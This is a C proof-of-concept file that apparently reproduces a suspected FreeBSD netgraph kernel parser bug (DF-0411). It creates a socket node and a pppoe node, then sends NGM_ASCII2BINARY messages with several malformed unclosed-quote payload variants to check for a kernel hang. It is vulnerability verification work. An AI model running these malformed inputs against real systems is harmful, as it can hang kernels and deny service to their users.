DF-0411 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-0411 reproduction: drive NGM_ASCII2BINARY (the only caller into * ng_parse_skip_value) with bracketed values containing unclosed quotes. * * Root-only: PF_NETGRAPH control sockets require caps_priv_check * (ng_socket.c:182). Verified: ngctl as maxx -> EPERM. * * We create a socket node, mkpeer a pppoe node, NAME it, then send * NGM_ASCII2BINARY to the named pppoe node with malformed struct values. * Each send is alarm()-bounded; a true kernel hang => TIMEOUT reported * and the guest wedges (vm.sh status -> down). */ #include <sys/param.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <netgraph.h> #include <netgraph/ng_message.h> #include <netgraph/socket/ng_socket.h> static volatile sig_atomic_t timed_out; static void handler(int s __unused) { timed_out = 1; } static int send_ascii2binary(int cs, const char *path, const char *cmdstr, const char *args, int secs) { char buf[2 * sizeof(struct ng_mesg) + 2048]; struct ng_mesg *const reply = (struct ng_mesg *)buf; struct ng_mesg *ascii; int alen; timed_out = 0; alarm(secs); alen = strlen(args) + 1; ascii = calloc(1, sizeof(*ascii) + alen); if (!ascii) { perror("calloc"); return -2; } strlcpy(ascii->header.cmdstr, cmdstr, sizeof(ascii->header.cmdstr)); memcpy(ascii->data, args, alen); ascii->header.arglen = alen; fprintf(stderr, "[*] %-42s ... ", args); errno = 0; if (NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_ASCII2BINARY, (u_char *)ascii, sizeof(*ascii) + alen) < 0) { alarm(0); fprintf(stderr, "send: %s\n", strerror(errno)); free(ascii); return -3; } free(ascii); if (NgRecvMsg(cs, reply, sizeof(buf), NULL) < 0) { alarm(0); if (timed_out) { fprintf(stderr, "*** TIMEOUT (kernel hung?) ***\n"); return -1; } fprintf(stderr, "recv: %s\n", strerror(errno)); return -4; } alarm(0); /* ASCII2BINARY reply: the reply's data is a binary ng_mesg whose * header.cmd is the resolved numeric cmd (or error set in flags). */ fprintf(stderr, "OK reply arglen=%d (parser returned)\n", reply->header.arglen); return 0; } int main(void) { int cs, ds; struct sigaction sa; struct ngm_mkpeer mkp; sa.sa_handler = handler; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; sigaction(SIGALRM, &sa, NULL); /* Named socket node k411. */ if (NgMkSockNode("k411", &cs, &ds) < 0) { fprintf(stderr, "NgMkSockNode: %s\n", strerror(errno)); return 2; } fprintf(stderr, "[+] control socket cs=%d, node k411\n", cs); /* mkpeer a pppoe node off hook "pp" on k411. Path "." = self. */ memset(&mkp, 0, sizeof(mkp)); strlcpy(mkp.type, "pppoe", sizeof(mkp.type)); strlcpy(mkp.ourhook, "pp", sizeof(mkp.ourhook)); strlcpy(mkp.peerhook, "pp", sizeof(mkp.peerhook)); if (NgSendMsg(cs, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) { fprintf(stderr, "[!] mkpeer pppoe: %s\n", strerror(errno)); } /* Name the peer node (reachable at hook pp) so we have a stable path. */ if (NgNameNode(cs, "k411:pp", "pp411") < 0) { fprintf(stderr, "[!] name pp411: %s\n", strerror(errno)); } else { fprintf(stderr, "[+] named pppoe node pp411\n"); } /* CONTROL: a well-formed pppoe_connect (valid struct) must parse and * return (possibly an error from pppoe itself, but the ASCII2BINARY * step completes). This proves the parser is reached. */ fprintf(stderr, "\n== control: well-formed struct ==\n"); send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook=\"eth0\" data=\"svc\" }", 5); fprintf(stderr, "\n== test: malformed bracketed unclosed-quote values ==\n"); /* variant A: finding's claimed trigger shape */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook=[1 \"abc }", 5); /* variant B: bracket directly then unclosed quote */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook=[\"abc }", 5); /* variant C: brace then unclosed quote */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook={\"abc }", 5); /* variant D: double bracket then unclosed quote */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook=[[\"abc }", 5); /* variant E: bracket, long word, then unclosed quote */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "{ hook=[abcdef\"abc }", 5); /* variant F: the value field itself is the malformed one, no outer struct */ send_ascii2binary(cs, "pp411:", "pppoe_connect", "[1 \"abc", 5); fprintf(stderr, "\n[+] all variants completed; if no TIMEOUT above, no hang\n"); close(cs); if (ds >= 0) close(ds); return 0; } |